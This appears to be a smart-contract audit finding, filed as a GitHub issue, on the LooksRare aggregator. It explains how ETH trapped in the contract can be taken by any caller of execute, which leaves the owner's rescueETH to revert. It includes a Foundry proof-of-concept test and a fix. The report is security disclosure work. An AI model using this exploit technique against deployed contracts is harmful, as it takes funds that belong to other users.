Lines of code
<https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/LooksRareAggregator.sol#L51-L112&gt;
<https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/lowLevelCallers/LowLevelETH.sol#L43-L49&gt;

Vulnerability details

Impact

When ETH amount is trapped in the LooksRareAggregator contract, such as when someone accidentally sends some ETH to it, the owner of the LooksRareAggregator contract has the privilege to call the rescueETH function to transfer such amount to a proper address since the LooksRareAggregator contract inherits the TokenRescuer contract. However, after noticing that such ETH amount has been trapped in the LooksRareAggregator contract and the rescueETH function is not yet called by the the LooksRareAggregator contract’s owner, a user can call the LooksRareAggregator.execute function, such as to purchase an NFT by sending an ETH amount that just equals the NFT’s purchase price. Because calling the LooksRareAggregator.execute function further calls the _returnETHIfAny(address recipient) function, this user is able to withdraw the LooksRareAggregator contract’s ETH balance after the trade for the NFT is executed, which includes the trapped ETH amount. After this user calls the LooksRareAggregator.execute function, calling the rescueETH function by the LooksRareAggregator contract’s owner would revert because the LooksRareAggregator contract’s ETH balance has become 0 and executing address(this).balance - 1 underflows. As a result, the LooksRareAggregator contract’s owner fails to transfer the trapped ETH amount, which violates the design; the user, who calls the LooksRareAggregator.execute function in this case, unfairly gains the trapped ETH amount while the user, who sends the trapped ETH amount, loses it entirely.

<https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/TokenRescuer.sol#L22-L26&gt;

    function rescueETH(address to) external onlyOwner {
        uint256 withdrawAmount = address(this).balance - 1;
        if (withdrawAmount == 0) revert InsufficientAmount();
        _transferETH(to, withdrawAmount);
    }

<https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/LooksRareAggregator.sol#L51-L112&gt;

    function execute(
        TokenTransfer[] calldata tokenTransfers,
        TradeData[] calldata tradeData,
        address originator,
        address recipient,
        bool isAtomic
    ) external payable nonReentrant {
        ...
        _returnETHIfAny(originator);

        emit Sweep(originator);
    }

<https://github.com/code-423n4/2022-11-looksrare/blob/main/contracts/lowLevelCallers/LowLevelETH.sol#L43-L49&gt;

    function _returnETHIfAny(address recipient) internal {
        assembly {
            if gt(selfbalance(), 0) {
                let status := call(gas(), recipient, selfbalance(), 0, 0, 0, 0)
            }
        }
    }

Proof of Concept

Please add the following code in test\foundry\LooksRareAggregatorTrades.t.sol.

1. Import stdError as follows.

import {stdError} from "../../lib/forge-std/src/StdError.sol";

2. Add the following test. This test will pass to demonstrate the described scenario.

   function testETHTrappedInAggregatorCanBeWithdrawnByNonOwner() public {
   vm.createSelectFork(vm.rpcUrl(“mainnet”), 15_282_897);

      // the aggregator owns 0 ETH at this moment
      aggregator = new LooksRareAggregator();
      vm.deal(address(aggregator), 0);
   
      LooksRareProxy looksRareProxy = new LooksRareProxy(LOOKSRARE_V1, address(aggregator));
      vm.deal(address(looksRareProxy), 0);
   
      aggregator.addFunction(address(looksRareProxy), LooksRareProxy.execute.selector);
   
      TokenTransfer[] memory tokenTransfers = new TokenTransfer[](0);
      BasicOrder[] memory validOrders = validBAYCOrders();
      BasicOrder[] memory orders = new BasicOrder[](1);
      orders[0] = validOrders[0];
   
      bytes[] memory ordersExtraData = new bytes[](1);
      ordersExtraData[0] = abi.encode(orders[0].price, 9550, 0, LOOKSRARE_STRATEGY_FIXED_PRICE);
   
      ILooksRareAggregator.TradeData[] memory tradeData = new ILooksRareAggregator.TradeData[](1);
      tradeData[0] = ILooksRareAggregator.TradeData({
          proxy: address(looksRareProxy),
          selector: LooksRareProxy.execute.selector,
          value: orders[0].price,
          maxFeeBp: 0,
          orders: orders,
          ordersExtraData: ordersExtraData,
          extraData: ""
      });
   
      // alice owns 1 ETH at this moment
      address alice = address(1);
      vm.deal(alice, 1 ether);
   
      // alice accidentally sends 1 ETH to the aggregator
      vm.prank(alice);
      payable(aggregator).transfer(1 ether);
   
      // After noticing that the aggregator at this moment owns the 1 ETH that was accidentally sent by alice
      //   and the LooksRareAggregator.rescueETH function is not yet called by the aggregator's owner,
      //   _buyer calls the LooksRareAggregator.execute function to purchase the NFT using ETH.
      vm.deal(_buyer, orders[0].price);
      vm.prank(_buyer);
      aggregator.execute{value: orders[0].price}(tokenTransfers, tradeData, address(0), _buyer, false);
   
      // After the LooksRareAggregator.execute function is called,
      //   _buyer receives the purchased NFT and also the 1 ETH that was accidentally sent by alice.
      assertEq(IERC721(BAYC).ownerOf(7139), _buyer);
      assertEq(_buyer.balance, 1 ether);
   
      // Calling the LooksRareAggregator.rescueETH function by the aggregator's owner reverts
      //   because subtracting 1 from the aggregator's ETH balance, which is 0 at this moment, underflows.
      vm.expectRevert(stdError.arithmeticError);
      aggregator.rescueETH(alice);
   
      // the aggregator's owner has failed to recover the 1 ETH, which was accidentally sent, for alice
      assertEq(alice.balance, 0);
   

   }

Tools Used

VSCode

Recommended Mitigation Steps

At the beginning of the LooksRareAggregator.execute function, address(this).balance - msg.value can be executed to get the LooksRareAggregator contract’s ETH balance before receiving the ETH amount sent by the originator, which should then be provided to the _returnETHIfAny(address recipient) function so such amount can be excluded when transferring ETH amount that is left back to the originator.

---

The text was updated successfully, but these errors were encountered:

All reactions